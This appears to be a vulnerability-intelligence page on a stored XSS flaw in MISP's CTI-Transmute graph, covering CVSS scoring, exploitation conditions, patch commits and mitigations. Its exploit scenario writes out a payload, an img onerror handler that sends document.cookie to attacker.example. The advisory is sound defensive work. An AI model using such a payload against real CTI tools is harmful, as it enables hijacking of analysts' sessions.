Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft malicious CTI payload with XSS in node label
-
DeliveryPublish or share payload via CTI feed or import
-
ExploitVictim analyst converts data in CTI-Transmute
-
InstallAnalyst opens conversion graph
-
C2Hover or select poisoned node triggers Pivotick innerHTML
-
ExecuteJavaScript executes in analyst's browser session
-
ImpactExfiltrate session credentials or perform in-browser actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires two conditions to both be met: (1) the attacker must control or influence CTI data that is converted and rendered by CTI-Transmute - this includes MISP events, STIX bundles, or any other CTI format the tool processes, whether sourced from an external feed, a shared repository, or user-supplied import; and (2) a victim user must open the conversion graph UI and interact with the graph in a way that triggers Pivotick's HTML-resolving paths, specifically hovering over or selecting a node containing the malicious value. The CVSS PR:N metric confirms no authentication of the attacker is required to craft the malicious CTI payload; however, the UI:A metric confirms victim interaction is mandatory - passive viewing without node selection may not trigger all vulnerable paths (particularly the properties panel sink). The raw-JSON popup sink additionally requires the victim to explicitly click 'Open raw JSON' on a node. Exploitation is limited to the browser session of the analyst viewing the graph and does not directly affect the server or other users' sessions unless session credentials are exfiltrated and reused. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N) places this at 5.1 (Medium). The network attack vector and low attack complexity reflect that the attacker merely needs to craft malicious CTI data and have it ingested and visualized - no special network position or race condition is required. The UI:A metric correctly captures that a victim analyst must open and interact with the graph. Impact is bounded to limited confidentiality and integrity (VC:L/VI:L), consistent with classic stored XSS: session token theft, credential harvesting, or in-browser actions performed as the victim are realistic but not full system compromise. No KEV listing exists, and no public exploit or POC has been identified at time of analysis, reducing urgency compared to actively weaponized XSS bugs. EPSS data was not provided in the source intelligence. The stored nature of the XSS - where payload persists in converted CTI data and fires on any analyst viewing the graph - is more dangerous than reflected XSS: a single poisoned STIX or MISP feed can affect all users of a shared CTI-Transmute instance. Threat intelligence analysts are the primary user population, making session hijacking a meaningful risk given their access to sensitive threat data. |
| Exploit ScenarioDerived | An attacker with the ability to influence CTI data ingested by a target organization - for example, by publishing a malicious STIX bundle to a shared threat intelligence feed - embeds a crafted node label such as </span><img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)> in a STIX object. When a CTI analyst imports and converts the feed in CTI-Transmute and views the resulting graph (hovering over or selecting the malicious node), Pivotick passes the unescaped label to template.innerHTML, the onerror handler fires, and the analyst's session cookie is exfiltrated to the attacker's server. No public POC has been identified, but the vulnerability mechanics are straightforward and the fix itself documents the exact payload class. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
Stored cross-site scripting in CTI-Transmute's conversion graph allows attacker-controlled CTI content (MISP or STIX objects) to execute arbitrary JavaScript in any analyst's browser who views the graph. The Pivotick graph library rendered node labels, sublabels, edge labels, node types, property names, property values, and hash algorithm identifiers through HTML-parsing operations (innerHTML, template.innerHTML) without sanitization, and a separate sink used an interpolated document.write() for the raw-JSON popup. The CVSS 4.0 score is 5.1 (Medium) with no authentication required of the attacker but user interaction required of the victim; no public exploit or KEV listing has been identified at time of analysis.
RemediationAI
Two sequential patch commits are available upstream and confirmed by source-code diff evidence. The first commit (b50451a) introduces a graphSafety.js module that HTML-escapes node labels, sublabels, and edge labels via escapeHtml() before data is handed to Pivotick, and replaces the document.write() raw-JSON popup with DOM-based construction using textContent to prevent markup injection. The second commit (d34ccac) addressed additional Pivotick rendering paths not covered by the first patch, applying escaping and textContent-based assignment to node types, property names, property values, hash algorithm identifiers, child attributes, and edge properties. Operators should update to a release incorporating both commits; a specific tagged release version was not independently confirmed from the available intelligence, so tracking the MISP/cti-transmute repository for an official release is advised. As a compensating control prior to patching, restricting access to the CTI-Transmute graph interface to trusted internal users only (e.g., via network-level controls or authentication gateway) reduces exposure, since exploitation requires a victim analyst to view attacker-controlled CTI data in the graph - blocking untrusted external CTI feeds from reaching the conversion pipeline also limits the attack surface. Note that these controls do not address insider-threat or compromised-feed scenarios.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CTI-Transmute is a MISP-ecosystem web tool that converts between CTI formats such as MISP and STIX and visualizes the conversion output as an interactive graph. The graph renderer is built on the Pivotick library, which processes node and edge label strings through innerHTML-based operations - specifically, its tryResolveHTMLElement method calls template.innerHTML with caller-supplied strings, turning any embedded markup into live DOM nodes. A second independent sink existed in the 'Open raw JSON' popup, which used document.write() with a template literal constructed from the raw CTI object; crafted JSON values could break out of the intended <pre> context and inject executable markup. Because all values in the graph originate from external CTI data, every field reachable by Pivotick (node labels, sublabels, edge labels, node types, property names, property values, hash algorithm names, child attributes, and STIX object types) was effectively attacker-controlled. The root cause is CWE-79: insufficient output encoding before data crosses from a data context into an HTML rendering context. Affected product is identified by CPE cpe:2.3:a:misp:cti-transmute:*:*:*:*:*:*:*:*, with the version wildcard indicating all versions prior to the patch commits are affected.
Know when Misp gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Network-delivered stored XSS; attacker needs no privileges; victim interaction required to trigger rendering; scope changes to victim browser session with limited data and action impact.
Primary rating from Vendor (CIRCL).
CVSS VectorVendor: CIRCL
DescriptionCVE.org
CTI-Transmute is affected by a stored cross-site scripting (XSS) vulnerability in the conversion graph used to visualise converted MISP and STIX content.
Attacker-controlled values originating from converted CTI data were passed to multiple HTML-parsing sinks in the graph user interface without sufficient neutralisation. In particular, node labels, node sublabels, edge labels, node properties, edge properties, and node types could contain crafted HTML or JavaScript content.
The Pivotick graph library renders some of these values through HTML-parsing operations. Consequently, a malicious value such as an HTML element containing an event handler could be interpreted as markup rather than displayed as plain text. The first remediation explicitly notes that Pivotick rendered node and edge labels as HTML and therefore introduced escaping before data was handed to the graph renderer.
A separate vulnerable sink was present in the Open raw JSON functionality. The raw object associated with a graph node was inserted into a new document using document.write() and an interpolated HTML string. Crafted JSON content could therefore break out of the intended <pre> element and inject executable markup. The fix replaced this construction with DOM APIs and assigns the JSON using textContent.
The initial correction did not cover all Pivotick rendering paths. A subsequent patch addressed additional XSS vectors in the graph properties panel. Values derived from the original CTI object-including property names, property values, hash algorithm names, child attributes, edge properties, and STIX object types-could still reach Pivotick's HTML resolver. According to the patch, Pivotick's tryResolveHTMLElement processes string values using template.innerHTML, allowing malicious markup to execute when a graph node is hovered over or selected.
The complete remediation therefore:
- HTML-escapes node labels, node sublabels, and edge labels before they are passed to Pivotick.
- Restricts graph node type values to a safe identifier character set.
- Wraps node and edge property values in DOM elements populated through textContent, preventing Pivotick from treating attacker-controlled strings as HTML.
- Replaces the raw-JSON popup's interpolated document.write() with DOM construction and textContent.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
An issue was discovered in MISP 2.4.9x before 2.4.99. Rated high severity (CVSS 8.8), this vulnerability is remotely exp
An issue was discovered in MISP before 2.4.158. Rated critical severity (CVSS 9.8), this vulnerability is remotely explo
app/Controller/Component/IndexFilterComponent.php in MISP before 2.4.167 mishandles ordered_url_params and additional_de
SQL injection in MISP threat intelligence platform versions prior to 2.5.37 allows remote unauthenticated attackers to m
An issue was discovered in MISP before 2.4.158. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitab
MISP 2.4.172 mishandles different certificate file extensions in server sync. Rated high severity (CVSS 7.5), this vulne
In MISP before 2.4.148, app/Lib/Export/OpendataExport.php mishandles parameter data that is used in a shell_exec call. R
An issue was discovered in app/Controller/UsersController.php in MISP 2.4.92. Rated critical severity (CVSS 9.8), this v
An issue was discovered in MISP 2.4.128. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,
MISP before 2.4.135 lacks an ACL check, related to app/Controller/GalaxyElementsController.php and app/Model/GalaxyEleme
app/View/Elements/genericElements/IndexTable/Fields/generic_field.ctp in MISP 2.4.144 does not sanitize certain data rel
MISP 2.4.148, in certain configurations, allows SQL injection via the app/Model/Log.php $conditions['org'] value. Rated
EUVD-2026-55633
GHSA-p8v9-h3m5-mvj9
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB